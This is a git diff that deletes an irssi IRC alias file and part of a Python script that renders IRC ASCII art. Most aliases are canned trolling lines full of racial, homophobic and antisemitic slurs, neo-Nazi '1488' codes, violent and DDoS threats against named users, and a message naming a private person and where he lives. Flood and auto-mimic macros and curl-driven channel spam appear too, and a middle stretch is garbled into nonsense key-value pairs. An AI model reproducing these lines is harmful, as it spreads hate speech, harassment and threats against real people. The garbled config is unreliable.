-  it2 = "/say burnice i feel so bad about scrim leaving but the truth is he started it and i wasnt about to get out-trolled in front of you";
-  asshole = "/say $0 is a asshole not a w/e #";
-  drake = "/say i know way too many people here right now that i didn't know last year, who the fuck are y'all? i swear it feels like the last few nights we've been everywhere and back, but i just can't remember it all.. what am i doin? what am i doin? \0030\037oh yeah that's right, i'm doin me. i'm doin me. i'm livin life right now mayne, and this is what imma do til it's over, til it's over.. but it's far from over";
-  np = "/say +netplay ascii/wepump.in/$0.txt";
-  horseface = "/say http://hphotos-snc3.fbcdn.net/hs631.snc3/31673_859055588653_10202736_48351762_2485722_n.jpg";
-  cho3 = "/say lol @ u guys making assumptions for kids out of college";
-  cho4 = "/say did i hit a nerve;/say or ?";
-  flyer = "/say .quack;/say .ole;/say .da";
-  smoke = "/say ayo its me $0 aka Yay aka Mister Yayo aka Punch A Niggaz Head In. I like to drink....alot and i jus quit smokin but ill still out-smoke any one. Im dedickated to rappin. I love it. I used to battle niggaz but that shit is boring now but Ill still chew a nigga. Im all bout money and my niggaz.";
-  botban = "/ban *!j@*;/ban *!inkjet@*;/ban *!i@*;/ban *!*@*.pp4l.org";
-  gayhelp = "/gay -help";
-  color = "/gay -1 -fig $0";
-  election = "/say who do you guys think will win? trump or sanders? maybe clinton?";
-  dwaine = "/exec - -out curl -s 'http://p0r.ninja/~v/dwaine.php'";
-  linkin = "/say CRAWLING IN MY SKIN. THESE WOUNDS THEY WILL NOT HEAL. FEAR IS HOW I FALL. CONFUSING WHAT IS REAL.";
-  szat = "/exec - -out curl -s 'http://p0r.ninja/~v/szat.php'";
-  sports = "/say $0 is the type to watch sportscenter and take notes just so he can come back to irc and act like hes informed";
-  grower = "/say $0 has GROWER tattood above his small cock";
-  wb = "/say wb f9c";
-  forget = "/say 14/88 never forget";
-  pittsburgh = "/say Pittsburgh niggas yell out \"I'm from Pittsburgh YINZ!\" before a fight so that when they get amnesia from having the piss beat out of them, the bystanders can remind them where they live.";
-  zee = "/say jesus shit bad guys, you pass////";
-  insect8 = "/say  got him to break charactor";
-  weights = "/say i shattered my floorboards doing push ups";
-  zee2 = "/say <@Zeee> sal is my daytime bitch";
-  newchan = "/say sorry smart ass, is my first time here\\";
-  chans = "/join -window #/join;/join -window #/server";
-  weights2 = "/say when i go to a bar or a house party i always order a protein shake";
-  mother = "/exec - -out curl -s 'http://p0r.ninja/~v/mother.php'";
-  dogshit = "/me throws dogshit in the septic system of RV's to chop up your turds fowload;/hitler;/eslam";
-  pumpinvite = "/say .botcmd e_t invite $0 #penispump";
-  SSH = "window new hidden;window name ssh;exec -name ssh -nosh -interactive -window ssh $-";
-  ryan = "/say <@ryan101-> Vegas killed himself and somebody else because he couldn't stand PP4L. I think Obama should have given him a pardon if he was still";
-  ryan2 = "/say <ryan101-> why does somebody like Vegas have to die and pieces of shit like insect get to live =(";
-  hardball = "/say Racist? Overweight? Unpopular amongst your peers? If you answered yes to any of these, operator status in #hardball on EFNet is the place for you!";
-  zee3 = "/say why do ppl in Florida even have gubs?";
-  lv = "/say last night i had a dream that i was sucking insect's dick but then i woke up and he was sucking my dick";
-  insect9 = "/say i dont blame you for judging me based on a few pics";
-  lump2 = "say $* u dont even know me kid shut the fuck up hidin behind yuor computar id fuckin lump u out if u fronted on me like that in person fukin bitchass littel nerd hidin behind cmputar screen littel pussy i kick ur ass irl fagget";
-  lump3 = "say hey $* dont no wat the fuck im gonna do 2 u fuck if i ever meet u im gonna fucking pound you fuck man if u was u id be soo scared man you should just change schools bcuz on monday im ognna kill u man just run away man just get out of here faggot";
-  lump4 = "say hay fgt ur so lucky u dont no me cuz if i nue were u lived o man u dont even wanna no wat i wud do 2 u shuld be gratful evry day tht i dunno were u liv fgt stfu u dont no me u aint my momma cum on over herre n i will bltch slap u so hard u will die but no1 will care 4u bcuz ur a fgt n every1 wud be glad ur ded u fkn fgt";
-  lump5 = "say $* u fukn hacker i saware im caling the fbi rite now nthey r gona aresst u 4 hhakin rite tmrow n they r gonna brake down ur dore wahen ur slepping @ nite n there gonna point there m16 at ur hed an say plz cum outside or we r gunna hedshot u fgt";
-  lump6 = "say $* i think your full of shit and just a punk ass bitch hiding behind his computer screen";
-  lump7 = "say $* dude if u dont fucken stop runnin ur mouth about my mate im gonanf ucken rub your sheath";
-  lump8 = "say $* no offense or nothing but 1 day id love to fuken walk up to and ounch your binrat in so much ur head would be poping out of ur arse,downy";
-  lump9 = "say $* dude if u dont fucken stop runnin ur mouth about a hobo's brother's uncle im gonanf ucken s about your vas deferens";
-  lumpa = "say $* dude if u dont fucken stop runnin ur mouth about my cousin im gonanf ucken wiggle your cerebral cortex";
-  lumpb = "say $* dude if u dont fucken stop runnin ur mouth about my brother's mom im gonanf ucken pickle your cerebellum";
-  lumpc = "say $* dude if u dont fucken stop runnin ur mouth about my girlfriend im gonanf ucken slice your eyes";
-  lumpd = "say all you fuckers who are talkign shit you are all fucking pussies you didn't fucking know her so don't try saying shit you stupid cunt rags fucking coem to michigan and say that to her friends faces you will get your nerdy fuckign asses handed to you you say shit cause you haev no real friends or your jsut an insecure little fuck who can't fucking get any real friends so fuck you all stephanie was one of the best people in the world";
-  lumpe = "say $* you cant come face to face fucking gonna remember these faces when i see you in th streets i am gonna rip you into peaces that when a doctor sees you he will get confused to weather an animal or human did that to you";
-  lumpf = "say $* u think ur music impresses me? ur w= ";
-  illk = "fucking";
-  you = "terrorist";
-  i = "will";
-  s = "http://gogou.lunarshells.com/nerdman.php";
-  pills = ";\012  gogou = ";
-  out = "which";
-  this = "morning";
-  randomly = "looking";
-  for = "about";
-  to = "do";
-  something = "stupid";
-  or = "figure";
-  and = "she";
-  going = "to";
-  play = "the";
-  devil = "s advocate and go against what they said no matter my real outlook on the subject... the point of this will be to overshadow my bad life by annoying others that are already living contently\";\012  troll2 = \"/say i never use a spell checker, and i send terribly formatted work emails often with numbers used for letters and words. \";\012  troll3 = \"/say ";
-  extremely = "lazy";
-  scope = "projects";
-  that = "take";
-  of = "me";
-  work = "constantly";
-  since = "thats";
-  how = "long";
-  whatever = "stupid";
-  project = "I";
-  "m assigned. I" = "ve";
-  been = "mudding";
-  against = "recently";
-  the = "password";
-  marginally = "well";
-  on = "/set outgmsgs_use_formatting on";
-  have = "this";
-  problem = "with";
-  dont = "view";
-  them = "when";
-  being = "authoritative";
-  late = "to";
-  but = "i";
-  _THAT_ = "late";
-  at = "least";
-  105k = "a";
-  order = "the";
-  most = "expensive";
-  drinks = "to";
-  possibly = "can";
-  get = "away";
-  with = "any";
-  card = "is";
-  even = "remember";
-  then = "just";
-  pour = "out";
-  into = "the";
-  toilet = "exec - -o echo \"$1-\" | toilet -w 100 --irc -f $0";
-  onto = "the";
-  carpet = "just";
-  tab = "higher";
-  can = "break";
-  a = "cool";
-  including = "but";
-  not = "a";
-  TCL = "and";
-  ";\012  insect = " = "insectd";
-  wrote = "my";
-  boke = "to";
-  muscle = "beach";
-  currently = "program";
-  PYTHON = "or";
-  RUBY = "but";
-  if = "i";
-  which = "is";
-  highly = "likely";
-  think = "your";
-  company = "is";
-  hip = "and";
-  intelligent = "one";
-  learn = "any";
-  languages = "in";
-  programmign = "ability";
-  as = "any";
-  there = "like";
-  once = "a";
-  week = ";\012  troll8 = ";
-  anything = "id";
-  just = "break";
-  damn = "thing";
-  one = "to";
-  sit = "on";
-  together = "like";
-  my = "sister";
-  5th = "degree";
-  self = "defense";
-  classes = "to";
-  women = "for";
-  some = "years";
-  couldnt = "take";
-  someone = "here";
-  in = "marc2";
-  7th = "degree";
-  tae = "kwon";
-  shit = "outta";
-  DRUNK = ";\012  troll10 = ";
-  vicsious = "fuckin";
-  machine = "that";
-  whole = "countries";
-  cant = "for";
-  remember = "what";
-  put = "it";
-  what = "the";
-  hell = "it";
-  will = "do";
-  stop = "/say .cq";
-  #$0, which is no big loss to me, to be perfectly honest. the channel lives and dies by me. the only time the stupid place is ever even active outside of a ppv is when i make it active. or th it a small world, but there are consequenses to your actions and some people know more than you doabout life";
-  pokemon = "/say We went out last night for one last hurrah as a big group of friends hunting in a hot spot local park with about 100 otherplayers. We stayed out until 3am, which represented about 8 hours of straight Pokemon Go playing. It was great, but at the end of the night we all kind of agreed it felt like the last great hunt. That by the end of the nigh the game felt line has reached max fun potential... ";
-  sal3 = "/say yeah i was high on cold meds friday and i've been offline since, so yeah im a bit out of the loop";
-  fncy = "/say i've peed into a mason jar and let it stand for days then used it as a barrier for dogs";
-  2016d = "/say post log and ask if you read it troll 2016";
-  2016e = "/say how do i do that troll 2016";
-  en = "/say Listen to Episode 3 of EFNet NEWS here: https://www.youtube.com/watch?v=ib_uIDKF5cU (SUBSCRIBE) and come chat about it in #EFNetnews | Rich people can become a *Patron* here: https://www.patreon.com/efnetnews | Jason Bandy @pp4l on  *twitter* and smiggy999 on *SNAPCHAT* !@%$@!@";
-  trampolines = "/say $0 : YOU EVER JUMP ON TRAMPOLINES IRL OR ?";
-  2016f = "/say spic crew is back for troll 2016";
-  trollf = "/say deployment sign up troll 2016";
-  min = "/say yo $0 you got a min?";
-  mongo = "/say takes balls to tell the world you masturbate your days away";
-  1st = "/say YO BITCH IM THE 1ST UP IN THIS PIECE. RESPECT MY ABILITY TO BE UP EARLY AND CHAT BEFORE YOU COCK SUCKER!!!!!!!!!";
-  haliphax = "/say does the number of channels where you can paste dicks and anti-semitic rhetoric get you some kind of award?";
-  sarah = "/say $0 breaking glasses and toilets is pretty epic, too";
-  off = "/set outgmsgs_use_formatting off";
-  re = "/script load /home/v/.irssi/scripts/autorun/frm_outgmsgs.pl";
-  suf = "/set outgmsgs_suffix  $0";
-  pre = "/set outgmsgs_prefix $0 ";
-  sarah2 = "/say After not being able to or approved by my doctor to engage in penetration sex for 4 months... my vagina is as tight as a virgin";
-  insecta = "/say you think this is slimer's first rodio?";
-  2016g = "/say -i troll 2016";
-  jungleman = "/say  <+Dwaine> btw Jungleman the nick thresw me... but He approves you bigtime";
-  2016h = "/say felicia troll 2016";
-  2016i = "/say cc troll 4/20 2016";
-  insectb = "/say their epic but you dont even know why ";
-  sarah3 = "/say I put steroids on my elbows";
-  insectc = "/say i was thining fish";
-  snitch = "/say any of you have a way of getting a hold of juoef? Jeff bring :) insect";
-  church = "/say god i was just telling a friend of mine from church how much i hate this channel but turns out $0 is actualy kind of cool";
-  2016j = "/say click deny troll 2017";
-  storm = "/say if you had beef with me you coulda just got these hands";
-  storm2 = "/say yeah i should be talking to members from masters of deception";
-  remedy = "/say Remedy u can get the blood from my dick";
-  sajoin = "sajoin";
-  remedy2 = "/say havent spoken to him since GnR concert";
-  acidvegas = "/say spend ALL of his money on electric eels";
-  acidvegas2 = "/say u have a BAN VAP & ACIDVEGAS key on your kb?";
-  sal2 = "/say just talking jez";
-  sal4 = "/say btw i hung out with that fat chick cuz i didnt want to sleep on the floor with 5 guys in a room ";
-  d = "/say you love drama when someoneelse istaking it up the pipe";
-  d2 = "/say y my god what kind of long aϟϟ ping timeout do you have here";
-  lavey = "/say i dont want to tlk about the butthole";
-  lavey2 = "/say some woman;/say accidentally posted pics of her baby's inflamed asshole";
-  lavey3 = "/say my butthole is nicknamed the eye of sauron by my ex";
-  blowfish = "/say you spent 400$ on a ddr pad and you are fat as fuck. i have no douvbt you would waste money on trying to rubttal after i shit on you on skike";
-  acid = "/say im sitting here with scott motherfucking thomas and between us have a half a million dollars in coins";
-  darkmage = "/say dont think that your low-energy soceng effort had any affect on my emotional state";
-  darkmage2 = "/say i havent said anything in a page or 2";
-  darkmage3 = "/say actually mom's on her way into a homeless shelter";
-  darkmage4 = "/say like i said dude u guys are super below my radar";
-  darkmage5 = "/say the irony is my right-hand is mutated";
-  threaddicksuck = "/say  <+thread_> vap0r is that nigga;/say  <+thread_> vap0r is tha man;/say  <+thread_> vap0rs chats have impact";
-  thread3 = "/say now u are going to get ddosed every single weekend, every single one of your ops. you have now got my attention, and you are now in the same boat as storm. if you have one more show im going to down you and anyone who responds in #lrh during the show, anyone who calls in will be taken offline. ill be handling twitch at the same time";
-  fgt = "/say i hate faggots more than i hate war in this world";
-  sharp = "/say <+SharP972> Rip children ;); /say <+SharP972> I raped vap0r x wife";
-  threadquit = "/say threaded wasnt me, idk who was copying my chat dialogue i was currently writing in. but every and kinda boring with 10 people against me and on my side. im too high to deal with shit talk from every angle with 6 people vs me, its overwhelming, i prove myself over and over and  if i stop i have 'no skill' when i just wanna code and talk to people who enjoy le company. im out, pz";
-  threadraps = "/say https://pastebin.com/9HXLdtgq";
-  chronoraps = "/say https://pastebin.com/0SU8WBer";
-  threadquitlog = "/say https://pastebin.com/Dee9WuFA";
-  threadstory = "/threadraps;/chronoraps;/threadquitlog";
-  fuckyou = "/say ᶠᶸᶜᵏ﷽ᵧₒᵤ ᵧₒᵤ💔ᶠᶸᶜᵏ";
-  chang0 = "/say Swear to God";
-  thread4 = "/say i would have freestyled, that wasnt the problem. the problem is vap0r who i kinda thought was an alright guy, lied and said he didn’t care about unbanning me and said I was asking for it after i'd already saw him chatting for an hour afterwards in this channel and actively in ENN. this is just the start of whats to come, be ready";
-  thread5 = "/say l0de is gay and cant come to reality hes gay and keeps trying to date women, with his teacup fuckin dog and gay ass lisp";
-  thread6 = "/say vap0r tell the truth about how you're white and want to be a nigger, he lives in a tent and makes $80 a week making efnet fake news reports";
-  thread7 = "/say youll see though you know where im at, mtw if you wanna get real and fight me, come to my irc and ill meet you whenever, neither of us will use our city. if you arent a pussy mtw- come @ me for real without bullshit, without others chatting. don't pussy out, come fight scared bitch (i have to train) rofl";
-  dc = "/say I'm really not a very nice person. I can say \"I don't care\" with a straight face, and really mean it.";
-  yes6 = "/say agreed";
-  yes7 = "/say i see what you mean";
-  yes8 = "/say fair";
-  yes9 = "/say cant argue with that";
-  yes10 = "/say definitely";
-  yes11 = "/say true ting innit";
-  yes12 = "/say i get u";
-  yes13 = "/say OK real talk";
-  yes14 = "/say never a truer word spoken";
-  yes15 = "/say goddamn right";
-  yes16 = "/say indeed";
-  yes17 = "/say yep yep u rite";
-  yes18 = "/say haha TRUE";
-  yes19 = "/say correct";
-  mimicyes = "/trigger add -publics -masks '$0!*' -command 'script exec Irssi::active_win->command(\"yes\".int(rand(40) + 1).\" \\$M\")'";
-  hi = "/lastlog -hilight";
-  xylia = "/say one day you might learn how to actual flood worth a shit faggot";
-  neuro = "/say stop spam msging me on a i7 with 32gb ram";
-  yes20 = "/say beyond a doubt";
-  yes21 = "/say bruv";
-  yes22 = "/say precisely";
-  yes23 = "/say without fail";
-  yes24 = "/say unquestionably";
-  yes25 = "/say as true as true can be";
-  yes26 = "/say by all means";
-  yes27 = "/say yes. yes. yes.";
-  yes28 = "/say amen";
-  yes29 = "/say fucking agreed";
-  yes30 = "/say praise allah you are correct";
-  yes31 = "/say y e s I AGREE";
-  yes32 = "/say lol so true";
-  yes33 = "/say aye";
-  yes34 = "/say safe";
-  yes35 = "/say innit";
-  yes36 = "/say bet";
-  yes37 = "/say real talk";
-  yes38 = "/say uh.. ya for sure";
-  yes39 = "/say yes yes true";
-  yes40 = "/say oui";
-  jupenicks = "/say \0034JUPED NICKS: \0030chrono, moneytree, slimer, l0de, vapor, vap0r, readerrr, interd0me, jewbird, bj0rn, LRH, CosbyX, acidvegas, pumps, MagicPeen";
-  country = "/say my favorite thing to do is kick mud kuntry to my bones I don't like short cars but i do like big trucks ford but Chevy is second";
-  country2 = "/say I can't to move back down south after college, wherever I go I hope the people are as country and redneck as I am. I need people to go Mud Bogging with.";
-  xylia2 = "/say you updated socks cause vap0r stupid aϟϟ got put on dronebl and others lol";
-  xylia3 = "/say ak you keep this shit up and your ircd is going to turn to complete shit";
-  webscii = "/exec - -out curl -s '$0'";
-  yesreply = "/trigger add -all -masks '$0!*' -command 'script exec Irssi::active_win->command(\"yes\".int(rand(40) + 1).\" \")'";
-  mimicpm = "/trigger add -privmsgs -masks '$1!*@*' -command 'msg -$T $N $M!'";
-  "\0034jupenicks:" = "\0030spoke, chrono, moneytree, slimer, l0de, vapor, vap0r, readerrr, interd0me, jewbird, bj0rn, LRH, CosbyX, acidvegas, pumps, MagicPeen";
-  random = "/say hello my name is alex gouloumis id like to report that 12 years now john kapetanakis that lives in athens greece at the fourth says bad things about rich people on the internnet as he pretends to be me on the internet to get money from it his name is john kapetanakis at the fourth floor spread this out";
-  pauzed = "/say how different are you gonna cover supernets instead?";
-  takbar = "/say crazy how thats a man in his late 30s rn";
-  takbar2 = "60 0 /quote sajoin takbar #superbowl";
-  xylia4 = "/say what server is that script ?";
-  storm3 = "/say if we run this udp.pl script 10 times on a 1gbps box thatll be 10gbps of udp in ur face motherfuckerrrrrrrrrrr";
-  toiletgay = "/exec - -o echo \"$1-\" | toilet -w 100 --irc -F gay -f $0";
-  toiletmetal = "/exec - -o echo \"$1-\" | toilet -w 100 --irc -F metal -f $0";
-  unicolor = "/cspam 㦇휘蔝푵";
-  xylia6 = "/say eeew real original";
-  song3 = "/say let it goo;/say  let it gooooo ▲ ► ▼ \0030Sorry, I've dropped my bag of doritos \0034▲ ► ▼ ◄ ▲ ► ▼ ◄ ▲ ▼ ◄ ▲ ► ▼ ◄ ▲ ► ▼ ◄ ▲ ► ▼ ◄ ▲ ► ▼ ► ▼ ◄ ◄ ▲▲ ► ▼ ◄▼ ◄ ◄ ▼ ◄ ▲ ► ▼ ◄ ▲ ► ▼ ◄ ▲ ► ▼ ◄";
-  diapers = "/say im wearing diapers right now;/say what the fuck is your problem";
-  d7 = "/say I am trying to have a modicom sp of fun";
-  marcd = "/say just get out of the hosp. after being gang raped by the neighborhood boys";
-  spits = "/say  (@spits) vap, you're mom is embarrased of you";
-  oz = "/say I haven't lived at home in over 20 years. I belong to a community which is why I post selfies. Nothing you know anything about.";
-  oz2 = "/say Stop projecting and go back to your gay ass efnetnews articles slamming people.";
-  oz3 = "/say You guys need to calm the fuck down and go on another network where they don't put up with your shit either.";
-  oz4 = "/say harrass me and it will be gone on multiple servers; /say now fuck off";
-  oz5 = "/say i tried being the nice guy but no good deed goes unpunished";
-  talon = "/say i would arm wrestle you for beers no matter wtf color you were";
-  talon2 = "/say you spreckoning to me arab ?";
-  talon3 = "/say how was the reacharound you gave yourself";
-  talon4 = "/say :";
-  talon5 = "/say )";
-  talon6 = "/say i have a fucking bsd tat";
-  dabguy = "/say wiggle ur ass 2 the music https://imgur.com/JfsOAhk";
-  d9 = "/say dogs are gross but never noticed speah impediment";
-  cutie = "/say $0 homo dyke chink chinaman moonspeak fag coontang wetback dindu sig heil 1488 mexicunt";
-  talon7 = "/say been coding for a couple days and had to do anger management at parole all day so im a bit behind on the irc";
-  talon8 = "/say i swear you are arriz";
-  talon9 = "/say last thing you clicked was the pin number on your mothers debit card";
-  talon10 = "/say well hello mrs ms word";
-  sn7 = "/me anyone have good spammer here?";
-  sn8 = "/say im a little bixing fixing irc shitty coding on netsplit";
-  sn9 = "/say well i dont have paϟϟwords but i do i have private onions %%";
-  gammeflood = "/say flip;/say tea;/say spin;/say coffee";
-  sn10 = "/say are u like russian or something";
-  sn11 = "/say look at DEEZ NUTZ in 3d";
-  sn12 = "/say is that a program ran on the same box/net as the server?";
-  sn13 = "/say u can lip lock this big cock n kick rocks";
-  sn14 = "/say someone linked this irc on a stanford university box";
-  sn15 = "/say i used to idle the GNAA chan";
-  ate = "/say Marilou Danley: This was taken in Jumeira Beach in Dubai. \0034ate \017Lita's daughter Mary Ann Bustos Manansala who lives in Dubai";
-  fight = "/say $0 is that guy that studies worldstar fights videos and gets all pumped up and goes and looks himself in the mirror and flexes his arm fat, then goes to sleep dreaming of what he would do if a guy came in a classroom with a gun";
-  iib = "/say <@xmagey> every again";
-  iib2 = "/say (@spits) vap, you're mom is embarrased of you";
-  iib3 = "/say <@duckie> your making my head scream";
-  iib4 = "/say <@xmagey> well hard not too when you spam it all day";
-  pyrex = "/say also i won 41$ off scratch offs yesturday";
-  nadia = "/say I been blogging since '06 on neopets then habbo then runescape in the start  of '07 and then irc by the start of '08";
-  pump = "/exec - -out curl -s 'http://wepump.in/ascii/$0.txt'";
-  incog = "/say arab do u have the life and times url";
-  ilken = "/say Its bad enough being stuck in this wheelchair 24/7 with no visitors but then when people start treating me like a pariah and abusing me on IRC it makes my life a living hell.";
-  pi = "/say anyone here use archlinux on a raspberry pi";
-  ham = "/say Anybody else gets supper excited with the noise of tunning SSB? I can't wait to get an HF rig.";
-  dna = "/say i got your moms dna inserted into each of my sperms and everytime i fuck you your mom is somehow cumming inside you";
-  emoji = "/say Ҋ࡝౨ᆬ᛺ᩋỽ‖⏄⦣⵵ດᣌಱၤ♊䃀䢓䞣᷑ᙡᵵ兼ᢲ᥼७࡝౨ᆬ᛺ᩋỽ‖⏄⦣⵵ດᣌಱၤ♊䃀䢓䞣᷑ᙡᵵ兼ᢲ᥼७࡝౨ᆬ᛺ᩋỽ‖⏄⦣⵵ດᣌಱၤ♊䃀䢓䞣᷑ᙡᵵ兼ᢲ᥼७࡝౨ᆬ᛺ᩋỽ‖⏄⦣⵵ດᣌಱၤ♊䃀䢓䞣᷑ᙡᵵ兼ᢲ᥼७࡝౨ᆬ᛺ᩋỽ‖⏄⦣⵵ດᣌಱၤ♊䃀䢓䞣᷑ᙡᵵ兼ᢲ᥼७࡝౨ᆬ᛺ᩋ";
-  sn16 = "/say this isnt your dads football channel";
-  sn = "/say sorry was chopping onions";
-  sn2 = "/say BOTNET IN #HELP";
-  sn3 = "/say u have a BAN VAP & ACIDVEGAS key on your kb?";
-  sn4 = "/say did you login to my cox";
-  sn5 = "/say u look like a fucking money irl";
-  sn6 = "/say my god what kind of long aϟϟ ping timeout do you have here";
-  rick = "/say To be fair, you have to have a very high IQ to understand $0. Their humour is extremely subtle, and without a solid grasp of theoretical physics most of their chats will go over a typical chatter’s head. ";
-  chan100 = "/say I don’t know where are you from ,  people believe that you must don’t have education in school or both of your father and mother  die before could teach you something in our civilization.  I guess you  are a pool subject of Trump of USA";
-  conflict = "/say \0030/\\\\ \0034,8DONGFLICT\0030,1 /\\\\";
-  ancient = "/say i've turned down more ass than you've met";
-  ancient2 = "/say i'm not your bro, yeast infection";
-  ancient3 = "/say repeat yourself, you might sound clever one day";
-  ancient4 = "/say i'm not scared of anyone or anything";
-  ancient5 = "/say and i'll tell you to your face";
-  insectd = "/say another i forgeg";
-  talon11 = "/say some bitch making sandwitches or some shit";
-  knuckles = "/say my knuckz: (C)(H)(A)(T)b d(L)(I)(F)(E)";
-  kulj = "/say Lucy on her way";
-  hextasy = "/say I have a job, where I'm making $$ right now. I use IRC for lulz and communications between buddies.... why would I waste time trying to justify that your 'job' is weak and give you content?";
-  eismc2 = "/say i am an anarchist who understands the utopic leaning of the ideology i subscribe to in this society";
-  emoji10 = "/emoji;/emoji;/emoji;/emoji;/emoji;/emoji;/emoji;/emoji;/emoji";
-  doritos = "/say \0034 ◄ ▲ ► ▼ ◄ ▲ ► ▼ ◄ ▲ ► \017 I love doritos";
-  dzl4 = "/say nice perception of reality";
-  french = "/say Hello. i'm  eRic M France. I'm there to share information concerning theories about our origins. Monotheism  & Evolution's theory are based on beliefs  'cause nothing in science can establish that these théories are correct However, the new one considering that we have been created by human beings of a most advanced civilisation mastering biotechnologies (intelligent Design) is enlightened with real facts. Wanna read about it ?";
-  sn17 = "/say ive taken fake lsd in the paste";
-  chan101 = "/say rüssel rüssel?";
-  rendering = "/say \0034rendering EFNet News \0031,4EPISODE $0";
-  talon12 = "/say did you get into that drug rehab program?";
-  kween = "/say im not crazy, im an occultist.";
-  kween2 = "/say when a person tells you theyve cursed you, the spell actually loses power.";
-  cuck = "/say i actually never knew what a \"cuck\" was until trump ran for office if you read this full sentence you suck cocks";
-  cuck2 = "/say lol got u bruh how u gonna eat my fuckin ass queer bait lol";
-  xylia7 = "/say did you touch a kid and needed the usa or go to jail?";
-  xylia8 = "/say hang tight you want a flood football?";
-  xylia9 = "/say fucking in your ass";
-  xylia10 = "/say take a back sit bitch";
-  sn18 = "/say youd know how to prepair";
-  sn19 = "/say if you road xvg and sold";
-  sn20 = "/say  its funny @ trump being elected and having no idea that afinancial revolution would occur during his term";
-  xmas = "/say EVERY YEAR MAKING SPAM ON FREENODE, FUCK YOU!";
-  xmas2 = "/say nice ip for DDOS";
-  xmas3 = "/say kurd and arab dog shit person";
-  xylia11 = "/say how is someone knew supposed to know about an invite bot";
-  xylia12 = "/say i feel privaledged";
-  ak = "/say i smoke bobby brown and eat acid and have no desire to da any of that fuck shit";
-  ak2 = "/say since i've had the baby i mostly just do mushrooms";
-  ak3 = "/say you do realize ive maxed out 2 credit cards and dumped my entire life into this right?";
-  vap0rmusic = "/say http://wepump.in/music/vap0r-pp4l-all.tar.gz <- anything up until Jan 2 2018 that I kept track of. Feel free to download and then ofc donate money to http://paypal.me/efnetnews";
-  ak4 = "/say hes like kenu reeves";
-  ak5 = "/say spend ALL of his money on electric eels";
-  ak6 = "/say u have a BAN VAP & ACIDVEGAS key on your kb?";
-};
diff --git a/irc/ascii2png.py b/irc/ascii2png.py
@@ -1,166 +0,0 @@
-#!/usr/bin/env python
-# -*- coding: utf-8 -*-
-# Scroll IRC Art Bot - Developed by acidvegas in Python (https://acid.vegas/scroll)
-# ascii2png.py
-
-'''
-Credits to VXP for making the original "pngbot" script (https://github.com/lalbornoz/MiRCARTools)
-'''
-
-import os
-import urllib.request
-
-from PIL import Image, ImageDraw, ImageFont
-
-def flip_cell_state(cellState, bit):
-	if cellState & bit:
-		return cellState & ~bit
-	else:
-		return cellState | bit
-
-def parse_char(colourSpec, curColours):
-	if len(colourSpec) > 0:
-		colourSpec = colourSpec.split(',')
-		if len(colourSpec) == 2 and len(colourSpec[1]) > 0:
-			return (int(colourSpec[0] or curColours[0]), int(colourSpec[1]))
-		elif len(colourSpec) == 1 or len(colourSpec[1]) == 0:
-			return (int(colourSpec[0]), curColours[1])
-	else:
-		return (15, 1)
-
-def ascii_png(url):
-	text_file = os.path.join('data','temp.txt')
-	if os.path.isfile(text_file):
-		os.remove(text_file)
-	urllib.request.urlretrieve(url, text_file)
-	data = open(text_file)
-	inCurColourSpec = ''
-	inCurRow = -1
-	inLine = data.readline()
-	inSize = [0, 0]
-	inMaxCols = 0
-	outMap = []
-	while inLine:
-		inCellState = 0x00
-		inParseState = 1
-		inCurCol = 0
-		inMaxCol = len(inLine)
-		inCurColourDigits = 0
-		inCurColours = (15, 1)
-		inCurColourSpec = ''
-		inCurRow += 1
-		outMap.append([])
-		inRowCols = 0
-		inSize[1] += 1
-		while inCurCol < inMaxCol:
-			inChar = inLine[inCurCol]
-			if inChar in set('\r\n'):
-				inCurCol += 1
-			elif inParseState == 1:
-				inCurCol += 1
-				if inChar == '':
-					inCellState = flip_cell_state(inCellState, 0x01)
-				elif inChar == '':
-					inParseState = 2
-				elif inChar == '':
-					inCellState = flip_cell_state(inCellState, 0x02)
-				elif inChar == '':
-					inCellState |= 0x00
-					inCurColours = (15, 1)
-				elif inChar == '':
-					inCurColours = (inCurColours[1], inCurColours[0])
-				elif inChar == '':
-					inCellState = flip_cell_state(inCellState, 0x04)
-				else:
-					inRowCols += 1
-					outMap[inCurRow].append([*inCurColours, inCellState, inChar])
-			elif inParseState == 2 or inParseState == 3:
-				if inChar == ',' and inParseState == 2:
-					if (inCurCol + 1) < inMaxCol and not inLine[inCurCol + 1] in set('0123456789'):
-						inCurColours = parse_char(inCurColourSpec, inCurColours)
-						inCurColourDigits = 0
-						inCurColourSpec = ''
-						inParseState = 1
-					else:
-						inCurCol += 1
-						inCurColourDigits = 0
-						inCurColourSpec += inChar
-						inParseState = 3
-				elif inChar in set('0123456789') and inCurColourDigits == 0:
-					inCurCol += 1
-					inCurColourDigits += 1
-					inCurColourSpec += inChar
-				elif inChar in set('0123456789') and inCurColourDigits == 1 and inCurColourSpec[-1] == '0':
-					inCurCol += 1
-					inCurColourDigits += 1
-					inCurColourSpec += inChar
-				elif inChar in set('012345') and inCurColourDigits == 1 and inCurColourSpec[-1] == '1':
-					inCurCol += 1
-					inCurColourDigits += 1
-					inCurColourSpec += inChar
-				else:
-					inCurColours = parse_char(inCurColourSpec, inCurColours)
-					inCurColourDigits = 0
-					inCurColourSpec = ''
-					inParseState = 1
-		inMaxCols = max(inMaxCols, inRowCols)
-		inLine = data.readline()
-	inSize[0] = inMaxCols
-	canvas_data = outMap
-	numRowCols = 0
-	for numRow in range(len(outMap)):
-		numRowCols = max(numRowCols, len(outMap[numRow]))
-	for numRow in range(len(outMap)):
-		if len(outMap[numRow]) != numRowCols:
-			for numColOff in range(numRowCols - len(outMap[numRow])):
-				outMap[numRow].append([1,1,0,' '])
-		outMap[numRow].insert(0,[1,1,0,' '])
-		outMap[numRow].append([1,1,0,' '])
-	outMap.insert(0,[[1,1,0,' ']] * len(outMap[0]))
-	outMap.append([[1,1,0,' ']] * len(outMap[0]))
-	inCanvasMap = outMap
-	outImgFont = ImageFont.truetype(os.path.join('data','DejaVuSansMono.ttf'), 11)
-	outImgFontSize = [*outImgFont.getsize(' ')]
-	outImgFontSize[1] += 3
-	ColorsBold   = [[255,255,255],[85,85,85],[85,85,255],[85,255,85],[255,85,85],[255,85,85],[255,85,255],[255,255,85],[255,255,85],[85,255,85],[85,255,255],[85,255,255],[85,85,255],[255,85,255],[85,85,85],[255,255,255]]
-	ColorsNormal = [[255,255,255],[0,0,0],[0,0,187],[0,187,0],[255,85,85],[187,0,0],[187,0,187],[187,187,0],[255,255,85],[85,255,85],[0,187,187],[85,255,255],[85,85,255],[255,85,255],[85,85,85],[187,187,187]]
-	inSize = (len(inCanvasMap[0]), len(inCanvasMap))
-	outSize = [a*b for a,b in zip(inSize, outImgFontSize)]
-	outCurPos = [0, 0]
